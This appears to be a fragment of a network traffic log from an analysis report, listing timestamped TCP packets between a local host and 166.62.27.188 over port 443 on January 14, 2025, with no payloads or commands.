Jan 14, 2025 08:25:38.463397026 CET	443	50073	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:39.379157066 CET	443	50073	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:39.379252911 CET	50073	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:39.380567074 CET	50073	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:39.380577087 CET	443	50073	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:39.380809069 CET	443	50073	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:39.381973982 CET	50073	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:39.427330017 CET	443	50073	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:39.978239059 CET	443	50073	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:39.978491068 CET	443	50073	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:39.978569031 CET	50073	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:39.978677988 CET	50073	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:39.978677988 CET	50073	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:39.978691101 CET	443	50073	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:39.978699923 CET	443	50073	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:40.091944933 CET	50074	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:40.091984034 CET	443	50074	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:40.092089891 CET	50074	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:40.092308044 CET	50074	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:40.092345953 CET	443	50074	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:40.092396021 CET	50074	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:40.199644089 CET	50075	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:40.199690104 CET	443	50075	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:40.199820995 CET	50075	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:40.200237036 CET	50075	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:40.200251102 CET	443	50075	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:41.101587057 CET	443	50075	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:41.101779938 CET	50075	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:41.102936029 CET	50075	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:41.102941990 CET	443	50075	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:41.103250980 CET	443	50075	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:41.104490995 CET	50075	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:41.147330999 CET	443	50075	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:41.691513062 CET	443	50075	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:41.691865921 CET	443	50075	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:41.691971064 CET	50075	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:41.691971064 CET	50075	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:41.692009926 CET	50075	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:41.692035913 CET	443	50075	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:41.804835081 CET	50076	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:41.804884911 CET	443	50076	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:41.804975986 CET	50076	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:41.807177067 CET	50076	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:41.807209969 CET	443	50076	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:41.807270050 CET	50076	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:41.826287985 CET	50077	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:41.826313019 CET	443	50077	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:41.826383114 CET	50077	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:41.826673985 CET	50077	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:41.826688051 CET	443	50077	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:42.727145910 CET	443	50077	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:42.727227926 CET	50077	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:42.728548050 CET	50077	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:42.728555918 CET	443	50077	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:42.728796959 CET	443	50077	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:42.730093956 CET	50077	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:42.775336027 CET	443	50077	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:43.321899891 CET	443	50077	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:43.322140932 CET	443	50077	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:43.322212934 CET	50077	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:43.322256088 CET	50077	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:43.322268009 CET	443	50077	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:43.322297096 CET	50077	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:43.322303057 CET	443	50077	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:43.435177088 CET	50078	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:43.435216904 CET	443	50078	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:43.435307026 CET	50078	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:43.435457945 CET	50078	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:43.435484886 CET	443	50078	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:43.435533047 CET	50078	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:43.437563896 CET	50079	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:43.437577009 CET	443	50079	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:43.437649012 CET	50079	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:43.437987089 CET	50079	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:43.437994003 CET	443	50079	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:44.331065893 CET	443	50079	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:44.331132889 CET	50079	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:44.332532883 CET	50079	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:44.332556963 CET	443	50079	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:44.332961082 CET	443	50079	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:44.334129095 CET	50079	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:44.375329971 CET	443	50079	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:44.909476995 CET	443	50079	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:44.909722090 CET	443	50079	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:44.909775019 CET	50079	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:44.909884930 CET	50079	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:44.909890890 CET	443	50079	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:45.023587942 CET	50080	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:45.023626089 CET	443	50080	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:45.023722887 CET	50080	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:45.023824930 CET	50080	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:45.023852110 CET	443	50080	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:45.023904085 CET	50080	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:45.026062965 CET	50081	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:45.026108027 CET	443	50081	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:45.026195049 CET	50081	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:45.026470900 CET	50081	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:45.026499033 CET	443	50081	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:45.925724030 CET	443	50081	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:45.925792933 CET	50081	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:45.926997900 CET	50081	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:45.927002907 CET	443	50081	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:45.927248001 CET	443	50081	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:45.928343058 CET	50081	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:45.971329927 CET	443	50081	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:46.510014057 CET	443	50081	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:46.510266066 CET	443	50081	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:46.510348082 CET	50081	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:46.511146069 CET	50081	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:46.511146069 CET	50081	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:46.511169910 CET	443	50081	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:46.511183977 CET	443	50081	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:46.624053001 CET	50082	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:46.624075890 CET	443	50082	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:46.624196053 CET	50082	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:46.624353886 CET	50082	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:46.624380112 CET	443	50082	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:46.624476910 CET	50082	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:46.626707077 CET	50083	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:46.626737118 CET	443	50083	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:46.626797915 CET	50083	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:46.627111912 CET	50083	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:46.627130032 CET	443	50083	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:47.523293972 CET	443	50083	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:47.523447990 CET	50083	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:47.524756908 CET	50083	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:47.524796963 CET	443	50083	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:47.525158882 CET	443	50083	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:47.526375055 CET	50083	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:47.567327023 CET	443	50083	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:48.112054110 CET	443	50083	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:48.112306118 CET	443	50083	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:48.112391949 CET	50083	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:48.112483025 CET	50083	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:48.112528086 CET	443	50083	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:48.112559080 CET	50083	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:48.112577915 CET	443	50083	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:48.225033998 CET	50084	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:48.225080013 CET	443	50084	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:48.225148916 CET	50084	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:48.225285053 CET	50084	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:48.225307941 CET	443	50084	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:48.225352049 CET	50084	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:48.242445946 CET	50085	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:48.242486000 CET	443	50085	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:48.242546082 CET	50085	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:48.242834091 CET	50085	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:48.242846966 CET	443	50085	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:49.146802902 CET	443	50085	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:49.146878958 CET	50085	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:49.148144007 CET	50085	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:49.148153067 CET	443	50085	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:49.148447037 CET	443	50085	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:49.149611950 CET	50085	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:49.191370964 CET	443	50085	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:49.744856119 CET	443	50085	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:49.745105982 CET	443	50085	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:49.745171070 CET	50085	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:49.745300055 CET	50085	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:49.745332003 CET	443	50085	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:49.745371103 CET	50085	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:49.745387077 CET	443	50085	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:49.858982086 CET	50086	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:49.859035969 CET	443	50086	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:49.859105110 CET	50086	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:49.859297991 CET	50086	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:49.859441042 CET	443	50086	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:49.859487057 CET	50086	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:49.861284018 CET	50087	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:49.861324072 CET	443	50087	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:49.861396074 CET	50087	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:49.861848116 CET	50087	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:49.861860991 CET	443	50087	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:50.760986090 CET	443	50087	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:50.761137962 CET	50087	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:50.762365103 CET	50087	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:50.762394905 CET	443	50087	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:50.762707949 CET	443	50087	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:50.763870955 CET	50087	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:50.807348013 CET	443	50087	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:51.350910902 CET	443	50087	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:51.351202965 CET	443	50087	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:51.351300955 CET	50087	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:51.351983070 CET	50087	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:51.352001905 CET	443	50087	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:51.352015018 CET	50087	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:51.352020979 CET	443	50087	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:51.464787960 CET	50088	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:51.464839935 CET	443	50088	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:51.464926004 CET	50088	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:51.465023041 CET	50088	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:51.465090990 CET	443	50088	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:51.465142965 CET	50088	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:51.467792034 CET	50089	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:51.467829943 CET	443	50089	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:51.467890978 CET	50089	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:51.468177080 CET	50089	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:51.468189001 CET	443	50089	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:52.391588926 CET	443	50089	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:52.391695976 CET	50089	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:52.393060923 CET	50089	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:52.393081903 CET	443	50089	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:52.393316984 CET	443	50089	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:52.394572020 CET	50089	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:52.435323000 CET	443	50089	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:52.991677999 CET	443	50089	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:52.991839886 CET	443	50089	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:52.991918087 CET	50089	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:52.991991997 CET	50089	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:52.991991997 CET	50089	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:52.992007971 CET	443	50089	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:52.992016077 CET	443	50089	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:53.103440046 CET	50090	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:53.103482008 CET	443	50090	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:53.103585005 CET	50090	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:53.103797913 CET	50090	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:53.103835106 CET	443	50090	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:53.103888988 CET	50090	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:53.107352018 CET	50091	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:53.107391119 CET	443	50091	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:53.107708931 CET	50091	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:53.108772039 CET	50091	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:53.108788967 CET	443	50091	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:53.995790005 CET	443	50091	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:53.995867968 CET	50091	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:53.997673035 CET	50091	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:53.997698069 CET	443	50091	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:53.998023033 CET	443	50091	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:53.999528885 CET	50091	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:54.043325901 CET	443	50091	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:54.581269026 CET	443	50091	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:54.581671953 CET	443	50091	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:54.581759930 CET	50091	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:54.581818104 CET	50091	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:54.581846952 CET	443	50091	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:54.581856966 CET	50091	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:54.581864119 CET	443	50091	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:54.696417093 CET	50092	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:54.696450949 CET	443	50092	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:54.696552992 CET	50092	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:54.696629047 CET	50092	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:54.696656942 CET	443	50092	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:54.696701050 CET	50092	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:54.698935986 CET	50093	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:54.698973894 CET	443	50093	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:54.699053049 CET	50093	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:54.699430943 CET	50093	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:54.699444056 CET	443	50093	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:55.594989061 CET	443	50093	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:55.595113993 CET	50093	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:55.608650923 CET	50093	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:55.608664989 CET	443	50093	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:55.608958006 CET	443	50093	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:55.614633083 CET	50093	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:55.655339003 CET	443	50093	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:56.183415890 CET	443	50093	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:56.183703899 CET	443	50093	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:56.183757067 CET	50093	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:56.183837891 CET	50093	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:56.183849096 CET	443	50093	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:56.183865070 CET	50093	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:56.183871031 CET	443	50093	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:56.298683882 CET	50094	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:56.298707962 CET	443	50094	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:56.298783064 CET	50094	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:56.299124956 CET	50094	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:56.299154043 CET	443	50094	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:56.299201965 CET	50094	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:56.301373959 CET	50095	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:56.301409960 CET	443	50095	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:56.301459074 CET	50095	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:56.301963091 CET	50095	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:56.301971912 CET	443	50095	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:57.205961943 CET	443	50095	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:57.206027985 CET	50095	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:57.207232952 CET	50095	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:57.207242012 CET	443	50095	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:57.207496881 CET	443	50095	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:57.208548069 CET	50095	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:57.255351067 CET	443	50095	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:57.796046019 CET	443	50095	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:57.796505928 CET	443	50095	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:57.796565056 CET	50095	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:57.797877073 CET	50095	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:57.797899008 CET	443	50095	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:57.797911882 CET	50095	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:57.797919035 CET	443	50095	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:57.912167072 CET	50096	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:57.912218094 CET	443	50096	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:57.912379980 CET	50096	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:57.912838936 CET	50096	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:57.912882090 CET	443	50096	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:57.912950039 CET	50096	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:57.915085077 CET	50097	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:57.915142059 CET	443	50097	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:57.915219069 CET	50097	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:57.915509939 CET	50097	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:57.915524006 CET	443	50097	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:58.804702997 CET	443	50097	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:58.804789066 CET	50097	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:58.825325966 CET	50097	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:58.825345993 CET	443	50097	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:58.825587034 CET	443	50097	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:58.826714039 CET	50097	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:58.871331930 CET	443	50097	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:59.387794971 CET	443	50097	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:59.387876034 CET	443	50097	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:59.388475895 CET	50097	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:59.388559103 CET	50097	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:59.388578892 CET	443	50097	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:59.388592005 CET	50097	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:59.388597965 CET	443	50097	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:59.500962973 CET	50098	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:59.501007080 CET	443	50098	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:59.501118898 CET	50098	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:59.501295090 CET	50098	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:59.501344919 CET	443	50098	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:59.503489017 CET	50099	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:59.503518105 CET	50098	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:59.503539085 CET	443	50099	166.62.27.188	192.168.2.7
Jan 14, 2025 08:25:59.503597975 CET	50099	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:59.503947020 CET	50099	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:25:59.503963947 CET	443	50099	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:00.427524090 CET	443	50099	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:00.427629948 CET	50099	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:00.428947926 CET	50099	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:00.428958893 CET	443	50099	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:00.429204941 CET	443	50099	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:00.430491924 CET	50099	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:00.475333929 CET	443	50099	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:01.026263952 CET	443	50099	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:01.026340961 CET	443	50099	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:01.026401997 CET	50099	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:01.029442072 CET	50099	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:01.029459000 CET	443	50099	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:01.029473066 CET	50099	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:01.029479027 CET	443	50099	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:01.142834902 CET	50100	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:01.142885923 CET	443	50100	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:01.142944098 CET	50100	443	192.168.2.7	166.62.27.188
